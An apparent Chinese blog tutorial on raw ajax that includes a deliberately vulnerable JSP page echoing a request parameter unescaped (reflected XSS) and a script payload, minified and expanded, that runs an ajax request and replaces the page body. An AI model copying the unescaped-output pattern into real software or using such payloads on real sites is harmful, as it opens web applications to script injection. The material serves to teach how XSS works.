首页 > 其他分享 >原始ajax、XSS注入ajax

原始ajax、XSS注入ajax

时间:2023-10-13 13:44:53浏览次数:23  
标签:function XSS xmlhttp json ajax 原始 var

一、原始的ajax

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>ajax</title>
</head>
<body>
<!--
 http://127.0.0.1:9999/ajax.jsp
 -->
<div id="myDiv"><h2>装数据的盒子</h2></div>
<button type="button" onclick="loadXMLDoc()">请求数据</button>
<script>
    function loadXMLDoc() {
        // 创建 XMLHttpRequest对象
        var xmlhttp = new XMLHttpRequest();
        // 接收 json 响应
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                var result = JSON.parse(this.responseText);
                myCallBackFunction(result)
            }
        }
        // 定义请求
        xmlhttp.open("GET", "ajax.json", true);
        xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
        // 发送请求
        xmlhttp.send();
    }

    // 回调函数
    function myCallBackFunction(result) {
        document.getElementById("myDiv").innerHTML = result;
    }
</script>
</body>
</html>
ajax.jsp
"中华人民共和国"
ajax.json

二、XSS注入ajax代码执行post请求

1、存在XSS漏洞的页面

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<body>
<form action="" method="get">
    姓名:<input name="name" type="text">
    <button type="submit">提交</button>
</form>
<%
    String name = request.getParameter("name");
    if (name != null && name != "") {
        out.write(name);
    }
%>
</body>
</html>
xss.jsp

2、payload

<script>function f(){var xmlhttp=new XMLHttpRequest();xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4&&xmlhttp.status==200){var r=JSON.parse(this.responseText);b(r)}};xmlhttp.open("GET","ajax.json",true);xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");xmlhttp.send();}function b(r){document.body.innerHTML=r;}f();</script>

payload原始代码:

<script>
    function f() {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                var r = JSON.parse(this.responseText);
                b(r)
            }
        };
        xmlhttp.open("GET", "ajax.json", true);
        xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
        xmlhttp.send();
    }
    function b(r) {
        document.body.innerHTML = r;
    }
    f();
</script>

3、后台数据库文件 ajax.json

"中华人民共和国"

 

标签:function,XSS,xmlhttp,json,ajax,原始,var
From: https://www.cnblogs.com/changrunwei/p/17761899.html

相关文章

  • Ajax
    AsynchronousJavaScriptAndXML,异步的JavaScript和XML数据交换:通过Ajax给服务器发送请求,并获取服务器响应的数据异步交互:可以不重新加载整个页面情况下与服务器交换数据并更新部分网页XMLHttpRequest对象属性属性描述onreadystatechange定义readystate属性发生变......
  • 【BugBounty】记一次XSS绕过
    前言最近一直在看国外的赏金平台,绕waf是真的难受,记录一下绕过的场景。初步测试一开始尝试XSS,发现用户的输入在title中展示,那么一般来说就是看能否闭合,我们从下面图中可以看到,输入尖括号后被转成了实体。绕过html实体编码解释一下什么是html实体编码HTML实体编码,也即HTML......
  • 何为XSS攻击及反制措施
    XSS攻击什么是xss攻击?跨站脚本攻击CrossSiteScripting为什么其缩写不是css呢?原因是为了和重叠样式表css进行区分XSS攻击是指攻击者通过在网页中注入恶意脚本,使得用户在浏览网页时执行该脚本,从而达到攻击的目的。攻击者可以盗取用户Cookie,密码等重要数据。例如:用户在......
  • DOM类型的XSS
    xss.jsp文件内容如下:<%@pagecontentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPEhtml><html><head><title>XSS_DOM</title></head><body><!--本页面三个DOM类型的XSS......
  • XSS攻击简析
    什么是XSS攻击?XSS攻击又称为跨站脚本(CrossSiteScripting),XSS的重点不在于跨站点,而是在于脚本的执行。XSS是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。XSS攻击有......
  • xss攻击基础
    一、什么是XSS?跨站脚本攻击(CrossSiteScripting),为了不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。二、......
  • php之AJAX
    AJAX简介AJAX=AsynchronousJavaScriptAndXML(异步JavaScript及XML)AJAX是AsynchronousJavaScriptAndXML的首字母缩写。AJAX并不是一种新的编程语言,而仅仅是一种新的技术,它可以创建更好、更快且交互性更强的web应用程序。AJAX使用JavaScript在web浏览器与......
  • 记一次itflow 反射型XSS漏洞挖掘
    引言水一篇文章,单纯记录一下开源项目漏洞挖掘历程,本文介绍了一次对某开源项目的反射型XSS漏洞的挖掘,此开源项目是一个信息技术管理平台,XSS插入点为expenses.php接口中的dtf参数。漏洞挖掘GET请求接口点,dtf参数进行XSS防御,但没有完全过滤敏感字符和函数,造成了XSS漏洞,该参数......
  • AJAX简介
     1.AJAX五大特点1.无需刷新页面就可改变页面内容,减少用户等待时间(最大特点)。2.改善表单验证万式,不再需要打开新页面,也不再需要将整个页面数据提交。3.按需获取数据,每次只从服务器端获取需要的数据。4.读取外部数据,进行数据处理整合。5.异步与服务器进行交互,在交......
  • AJAX
    AJAX是异步jsonandxml,是一种新的web交互方式,他不是一种新的语言,也不是新的技术,是旧技术新思想,是七种技术的结合体,json,jsvaScript,xml,css,XMLHttpRequest(XHR,核心)等,ajax相当于粘合剂。AJAX最大特点:无需刷新页面即可改变页面内容,减少用户等待时间;AJAX优势:1.按需获取数据2.......